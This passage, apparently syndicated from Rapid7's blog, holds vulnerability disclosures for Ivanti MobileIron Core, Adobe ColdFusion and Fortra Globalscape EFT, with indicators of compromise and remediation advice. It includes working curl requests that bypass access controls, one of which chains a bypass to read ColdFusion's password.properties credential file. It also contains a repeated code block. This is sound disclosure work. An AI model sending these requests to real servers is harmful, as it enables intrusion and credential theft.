Since CVE-2023-35082 arises from the same place as CVE-2023-35078, specifically the permissive nature of certain entries in the mifs web application’s security filter chain, Rapid7 would consider this new vulnerability a patch bypass for CVE-2023-35078 as it pertains to version 11.2 and below of the product. For additional context on CVE-2023-35078 and its impact, see Rapid7’s emergent threat response blog here and our AttackerKB assessment of the vulnerability.

Product Description

Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, is a management platform that allows an organization to manage mobile devices such as phones and tablets; enforcing content and application policies on these devices. The product was previously called MobileIron Core, and was rebranded to Endpoint Manager Mobile after Ivanti acquired MobileIron in 2020.

Versions 11.8 and above of the product are Endpoint Manager Mobile. The version of the product Rapid7 determined was vulnerable to CVE-2023-35082 is MobileIron Core. Ivanti told Rapid7 that CVE-2023-35082 affects the following versions of the product:

  • MobileIron Core 11.2 and below

Ivanti’s advisory for CVE-2023-35082 is here.

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

We are grateful to Rapid7 for their discovery of an issue in MobileIron Core 11.2, a version which went out of support on March 15, 2022. The issue is also present in prior versions of the product which are out of support. We will not be providing any remediation for this vulnerability as the issue was incidentally resolved as a product bug in MobileIron Core 11.3 and had not previously been identified as a vulnerability. We are actively working with our customers to upgrade to the latest version of Ivanti Endpoint Manager Mobile (EPMM) or migrate to the cloud version of the product, Ivanti Neurons for MDM.

The security of our customers is Ivanti’s top priority, and we regularly provide updates to the supported versions of our solutions to protect customers from new and emerging threats. We are upholding our commitment to deliver and maintain secure products, and investing significant resources to ensure that all our solutions continue to meet our own high standards.

Impact

CVE-2023-35082 allows a remote unauthenticated attacker to access the API endpoints on an exposed management server. An attacker can use these API endpoints to perform a multitude of operations as outlined in the official API documents, including the ability to disclose personally identifiable information (PII) and perform modifications to the platform. Additionally, should a separate vulnerability be present in the API, an attacker can chain these vulnerabilities together. For example, CVE-2023-35081 could be chained with CVE-2023-35082 to allow an attacker write malicious webshell files to the appliance, which may then be executed by the attacker.

Exploitation

In our testing of CVE-2023-35078, we had access to MobileIron Core version 11.2.0.0-31. After reproducing the original vulnerability, we proceeded to apply Ivanti’s hotfix ivanti-security-update-1.0.0-1.noarch.rpm as per the Ivanti Knowledge Base article 000087042. We verified that the hotfix does successfully remediate CVE-2023-35078. However, we found a variation of the same attack that enables a remote attacker to access the API endpoints without authentication.

First we installed MobileIron Core 11.2.0.0-31 and verified we could leverage CVE-2023-35078 to access an API endpoint unauthenticated. Note the inclusion of the /aad/ segment in the URL path to exploit the original vulnerability, CVE-2023-35078.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

We then installed the vendor-supplied hotfix ivanti-security-update-1.0.0-1.noarch.rpm. After we rebooted the system, we verified the hotfix prevents the original exploit request shown above.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
<html>
<body>
        <h2>HTTP Status 403 - Access is denied</h2>
        <h3>You are unauthorized to access this page.</h3>
</body>
</html>

However, a variation of the above request is still able to access the API endpoints without authentication, as shown below. Note the use of /asfV3/ in the URL path in place of the original exploit’s use of /aad/.

c:\> curl -k https://192.168.86.103/mifs/asfV3/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

Indicators of Compromise

The following indicators of compromise are present in the Apache HTTP logs stored on the appliance.

The log file /var/log/httpd/https-access_log will have an entry showing a request to a targeted API endpoint, containing /mifs/asfV3/api/v2/ in the path with a HTTP response code of 200. Blocked exploitation attempts will show an HTTP response code of either 401 or 403. For example:

192.168.86.34:61736 - - 2023-07-28--15-24-51 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 3285

Similarly, the log file /var/log/httpd/https-request_log will have an entry showing a request to a targeted API endpoint containing /mifs/asfV3/api/v2/ in the path. For example:

2023-07-28--15-24-51 192.168.86.34 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 68 "-" "curl/8.0.1"

Note that log entries containing /mifs/asfV3/api/v2/ in the path indicate exploitation of CVE-2023-35082, whilst log entries containing /mifs/aad/api/v2/ in the path indicate exploitation of CVE-2023-35078.

Remediation

MobileIron Core customers who are running unsupported versions of the product, including versions affected by CVE-2023-35082 (MobileIron Core 11.2 and below), should upgrade to a supported version as soon as possible.

Rapid7 Customers

Rapid7 customers will have unauthenticated detection of this vulnerability in August 2, 2023’s content release.

Timeline

  • July 26, 2023: Rapid7 sends disclosure information to Ivanti security.
  • July 28, 2023: Rapid7 contacts Ivanti via a second channel to confirm receipt of disclosure information. Ivanti confirms initial disclosure was not received. Rapid7 resends disclosure documents. Ivanti confirms receipt.
  • July 28, 2023: Ivanti confirms findings.
  • July 31, 2023: Ivanti confirms a security advisory will be published, requests a call with Rapid7 to address what they consider inaccuracies in our disclosure.
  • August 1, 2023: Rapid7 and Ivanti discuss the two vulnerabilities (CVE-2023-35078, CVE-2023-35082). Rapid7 agrees to update this disclosure with points of clarification to highlight Ivanti’s perspective. Rapid7 also agrees to clarify product terminology (i.e., that CVE-2023-35082 only affects MobileIron Core, not later versions of the product which were renamed Endpoint Manager Mobile).
  • August 2, 2023: This disclosure.

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

On July 11, 2023, Rapid7 and Adobe disclosed CVE-2023-29298, an access control bypass vulnerability affecting ColdFusion, which Rapid7 had reported to Adobe in April 2023. The vulnerability allows an attacker to bypass the product feature that restricts external access to the ColdFusion Administrator. Rapid7 and Adobe believed that CVE-2023-29298 was fixed upon publishing our coordinated disclosure (Rapid7 explicitly noted in our disclosure that we had not tested the patch Adobe released).

Upon review of the patch for CVE-2023-29298 as found in ColdFusion 2021 Update 8 (2021.0.08.330144), Rapid7 discovered that the patch released on July 11 does not successfully remediate the original issue and can be bypassed by an attacker. Adobe assigned CVE-2023-38205 to the patch bypass and has issued a complete fix as of July 19, 2023.

Rapid7 has observed exploitation of CVE-2023-29298 in the wild in multiple customer environments. Our team published a blog with observations and guidance for customers on July 17. We have validated that the new patch released July 19 fully remediates the issue.

Affected products

The following products are vulnerable to CVE-2023-38205:

  • Adobe ColdFusion 2023 Update 2 and earlier
  • Adobe ColdFusion 2021 Update 8 and earlier
  • Adobe ColdFusion 2018 Update 18 and earlier

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

Adobe provided the following statement to Rapid7:
“Adobe recommends updating ColdFusion installations to the latest release. Please see APSB23-47 for more information. Adobe is aware that CVE-2023-38205 has been exploited in the wild in limited attacks targeting Adobe ColdFusion.”

Analysis

The July 11 patch for CVE-2023-29298 modifies the vulnerable method IPFilterUtils.checkAdminAccess to use a new helper method Utils.canonicalizeURI to transform a URL into its canonical form before performing the access control, as shown below.

  private static final String[] RESTRICTED_INTERNAL_PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager", "/cfide/lockdown" };


  public static void checkAdminAccess(HttpServletRequest req) {
    String uri = Utils.getServletPath(req);
    uri = Utils.canonicalizeURI(uri.toLowerCase()); // <----
    for (String restrictedPath : RESTRICTED_INTERNAL_PATHS) {
      if (uri.startsWith(restrictedPath)) {
        String ip = req.getRemoteAddr();
        if (!isAllowedIP(ip))
          throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
        break;
      }
    }
  }


The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method Utils.collapseDotDots, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string “/hello/../world/” then the method Utils.collapseDotDots would correctly transform this string into “/world/” by deleting the character sequence “/hello/..” via a call to StringBuffer.delete as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method `Utils.collapseDotDots`, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string `“/hello/../world/”` then the method `Utils.collapseDotDots` would correctly transform this string into `“/world/”` by deleting the character sequence `“/hello/..”` via a call to `StringBuffer.delete` as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

While the above is correct, it exposes an issue in how ColdFusion handles ColdFusion Modules (CFM) and ColdFusion Component (CFC) endpoints when resolving a path to the endpoint. If an attacker accesses a URL path of “/hax/..CFIDE/wizards/common/utils.cfc” the access control can be bypassed and the expected endpoint can still be reached, even though it is not a valid URL path (Note, there is no expected forward slash after the double dot and before CFIDE).

Upon processing this path, the method Utils.collapseDotDots will transform the path to “cfide/wizards/common/utils.cfc” by removing the double dot path segment and the preceding segment “/hax/..”. The path “cfide/wizards/common/utils.cfc” will not be matched against any of the restricted paths in RESTRICTED_INTERNAL_PATHS during IPFilterUtils.checkAdminAccess because it no longer begins with a leading forward slash. This bypasses the access control. However, the underlying Servlet will still process the path “/hax/..CFIDE/wizards/common/utils.cfc”, allowing the expected CFC endpoint to be called. The same is true for CFM endpoints.

Exploitation

The following was tested on Adobe ColdFusion 2021 Update 8 (2021.0.08.330144) running on Windows Server 2022 and configured with the Production and Secure profiles.

We can demonstrate the patch bypass by using the cURL command. For example when attempting to perform a remote method call wizardHash on the /CFIDE/wizards/common/utils.cfc endpoint, the following cURL command can be used — note the use of double dot notation as highlighted below:

Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows, on Linux you must escape the ampersand with a forward slash (\).

c:\> curl -ivk --path-as-is http://172.25.25.0:8500/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

We can see that both the access control and the patch for CVE-2023-29298 have been bypassed and the request completed successfully.

Remediation

Adobe released a fix for this vulnerability on July 19, 2023. The following versions remediate the issue, per Adobe’s advisory:

  • Adobe ColdFusion 2023 Update 3
  • Adobe ColdFusion 2021 Update 9
  • Adobe ColdFusion 2018 Update 19

Since Rapid7 has observed exploitation in the wild, we strongly recommend ColdFusion customers update to the latest versions as soon as possible, without waiting for a typical patch cycle to occur.

Timeline

  • April 11 through July 10, 2023: Rapid7 discloses CVE-2023-29298 to Adobe, Rapid7 and Adobe coordinate disclosure
  • July 11, 2023: Rapid7 and Adobe disclose CVE-2023-29298 publicly
  • July 13 – 15, 2023: Rapid7 detects exploitation of Adobe ColdFusion in the wild, determines attackers are leveraging an exploit chain that ends in remote code execution
  • July 17, 2023: Rapid7 warns customers of ColdFusion exploitation in the wild. Rapid7 discovers the patch for CVE-2023-29298 can be bypassed and informs Adobe. Adobe notifies Rapid7 of their intent to fix the patch bypass.
  • July 18, 2023: Further coordinationJuly 19, 2023: This disclosure.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Rapid7 discovered an access control bypass vulnerability affecting Adobe ColdFusion, in a product feature designed to restrict external access to the ColdFusion Administrator. Rapid7 reported this vulnerability to Adobe on April 11, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy.

The access control feature establishes an allow list of external IP addresses that are permitted to access the ColdFusion Administrator endpoints on a ColdFusion web server. When a request originates from an external IP address that is not present in the allow list, access to the requested resource is blocked. This access control forms part of the recommended configuration for production environments, as described during installation of the product:

“Production Profile + Secure Profile: Use this profile for a highly-secure production deployment that will allow a more fine-grained secure environment. For details, see the secure profile guide http://www.adobe.com/go/cf_secureprofile.”

Alternatively, an installation that is not configured with the Secure Profile may manually configure the access control post installation.
The vulnerability allows an attacker to access the administration endpoints by inserting an unexpected additional forward slash character in the requested URL.

Product description

Adobe ColdFusion is a commercial application server for web application development. ColdFusion supports a proprietary markup language for building web applications and integrating into many external components, such as databases and third party libraries.
This issue affects the following versions of Adobe ColdFusion:

  • Adobe ColdFusion 2023.
  • Adobe ColdFusion 2021 Update 6 and below.
  • Adobe ColdFusion 2018 Update 16 and below.

Impact

This vulnerability undermines the security guarantees offered by the ColdFusion Secure Profile. Using the access control bypass as described above, an attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install. Note that access to these resources does not imply the attacker is authorized to use these resources, many of which will check for an authorized session before performing their operation. However the impact of being able to access these resources is as follows:

  • The attacker may log in to the ColdFusion Administrator if they have known credentials.
  • The attacker may bruteforce credentials.
  • The attacker may leak sensitive information.
    The attacker has increased the attack surface considerably and should a vulnerability be present in one of the many exposed CFM and CFC files, the attacker is able to target the vulnerable endpoint.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-29298 has been addressed in Adobe’s APSB23-40 Security Bulletin – CF2018 Update 17, CF2021 Update 7, and CF2023 GA build. Adobe greatly appreciates collaboration with the broader security community and our ongoing work with Rapid7. For more information, please see: https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

Analysis

The access control restricts access for external request to resources that are found within the following URL paths:

/CFIDE/restplay
/CFIDE/administrator
/CFIDE/adminapi
/CFIDE/main
/CFIDE/componentutils
/CFIDE/wizards
/CFIDE/servermanager```
Several Java servlets enforce the access control on their exposed resources:
- The `coldfusion.CfmServlet` which handles all requests to ColdFusion Module (CFM) endpoints.
- The `coldfusion.xml.rpc.CFCServlet` which handles requests to ColdFusion Markup Language (CFML) and ColdFusion Component (CFC) endpoints.
- The `coldfusion.rds.RdsGlobals` which handles requests for the Remote Development Service (RDS) feature.
The access control feature is implemented in the `coldfusion.filter.IPFilterUtils` class, and the method `checkAdminAccess` implements the logic for the access control, as shown below:
```public class IPFilterUtils {
private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" };
public static void checkAdminAccess(HttpServletRequest req) {
String uri = req.getRequestURI();
String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase();
for (String path : PATHS) {
if (uriToMatch.startsWith(path)) {
String ip = req.getRemoteAddr();
if (!isAllowedIP(ip))
throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
break;
}
}
}```
We can observe from the highlighted statement above that an HTTP request’s URL path is compared to a list of sensitive paths, and if found to begin with any of these sensitive paths, a further check is performed to see if the request’s external IP address is present in the allow list. If the request to a sensitive path is not from an allowed external IP address, an exception is raised which results in the request being denied.
As the attacker-controlled URL path is tested with a call to `java.lang.String.startsWith`, this access check can be bypassed by inserting an additional character at the start of the URL path, which will cause the `startsWith` check to fail but will still allow the underlying servlet to be able to resolve the requested resource. The character in question is an additional forward slash. For example, when requesting a resource that starts with the sensitive `/CFIDE/adminapi` path, the attacker can request this resource from the path `//CFIDE/adminapi`, which will bypass the access control while still being a valid path to the requested resource.
## Exploitation
The following was tested on Adobe ColdFusion 2021 Update 6 (2021.0.06.330132) running on Windows Server 2022 and configured with the Production and Secure profiles enabled and access to the ColdFusion Administrator limited to the localhost address 127.0.0.1.
We can demonstrate the vulnerability using the cURL command. For example when attempting to perform a remote method call wizardHash on the `/CFIDE/wizards/common/utils.cfc` endpoint, the following cURL command can be used:
*Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows. On Linux you must escape the ampersand with a forward slash (\).*

c:> curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

We can see in the screenshot below how this request fails due to the access control being in place:

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we issue the following cURL command, noting the double forward slash in the path:

c:\> curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

We can see that the access control has been bypassed and the request completed successfully.

Similarly, if we try to access the ColdFusion Administrator interface in a web browser from an external IP that is not allowed access, the following error is displayed.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we use an extra forward slash in the URL, we can now access the ColdFusion Administrator interface.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Chaining CVE-2023-29298 to CVE-2023-26360

The access control bypass in CVE-2023-29298 can also be leveraged to assist in the exploitation of an existing ColdFusion vulnerability. One example of this is CVE-2023-26360, which allows for both arbitrary file reading as well as remote code execution. In order to exploit CVE-2023-26360 to read an arbitrary file, an attacker must request a valid CFC endpoint on the target. As we have seen, there are multiple such endpoints available in the ColdFusion Administrator. Exploiting CVE-2023-26360 to read a file password.properties can be achieved with the following cURL command:

c:> curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

However, if the access control is configured to block external requests to the ColdFusion Administrator, the request will fail.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Therefore we can chain CVE-2023-29298 to CVE-2023-26360 and bypass the access control in order to reach a CFC endpoint and trigger the vulnerability via the following:

c:> curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

As we can see, we have now successfully exploited CVE-2023-26360 as a result of our ability to use CVE-2023-29298 as a primitive — and we can therefore read the contents of the password.properties file.

Remediation

Adobe released a fix for this vulnerability on July 11, 2023. According to Adobe, the following versions remediate the issue:

  • ColdFusion 2023 GA build
  • ColdFusion 2021 Update 7
  • ColdFusion 2018 Update 17

For more details please read the Adobe security advisory.

Note: Rapid7 reported an incomplete fix for this issue to Adobe on June 30, 2023 after testing the vendor-provided patch. We have not independently tested the latest fix.

Timeline

  • April 11, 2023: Rapid7 makes initial contact with Adobe Product Security Incident Response Team (PSIRT).
  • April 12, 2023: Rapid7 discloses the vulnerability details to Adobe PSIRT. Adobe confirms receipt and assigns internal tracking number VULN-24594.
  • April 20, 2023: Adobe requests additional details regarding the network setup used during testing. Rapid7 provides the requested details and Adobe confirms receipt of the details.
  • April 25, 2023: Rapid7 requests a status update. Adobe confirms they have reproduced the issue. Rapid7 requests a CVE identifier from Adobe.
  • May 2 – May 24, 2023: Rapid7 and Adobe discuss a coordinated disclosure date and agree to publish advisories on July 11, 2023. Adobe assigns CVE-2023-29298.
  • June 13 – June 30, 2023: Further coordination with Adobe; Adobe provides Rapid7 with the patch for the issue.
  • June 30, 2023: Rapid7 informs Adobe that the patch they’ve implemented is incomplete and can be bypassed.
  • July 6 – 7, 2023: Adobe tells Rapid7 they have implemented an improved fix and are confident that it mitigates the issue. Rapid7 is not able to allocate researchers to test the new fix in time for disclosure. Rapid7 and Adobe agree to move forward with disclosure on July 11 given Adobe’s confidence in their fix.
  • July 11, 2023: This disclosure.

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/06/22/multiple-vulnerabilities-in-fortra-globalscape-eft-administration-server-fixed/

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it’s reasonably popular and seemed complex enough to have some bugs (plus, it’s owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we’ll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 – Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 – Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 – Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue – Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn’t be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we’ll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We’ll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don’t have source code, we’ve reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT’s administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length – used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID – used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it’s a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here’s a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 – type
      • 0x00000024 – length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... – value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 – type
      • 0x0000000a – length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 – value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID – login type
      • 0x00000005 – type
      • 0x00000004 – length (4 bytes)
      • 0x00000000 – value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don’t need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . [email protected]
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it’s likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it’s part of the message itself. Although it’s tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it’s the attacker’s login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator’s login message is still on the heap, then successfully guess the offset between their malicious message and the administrator’s login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

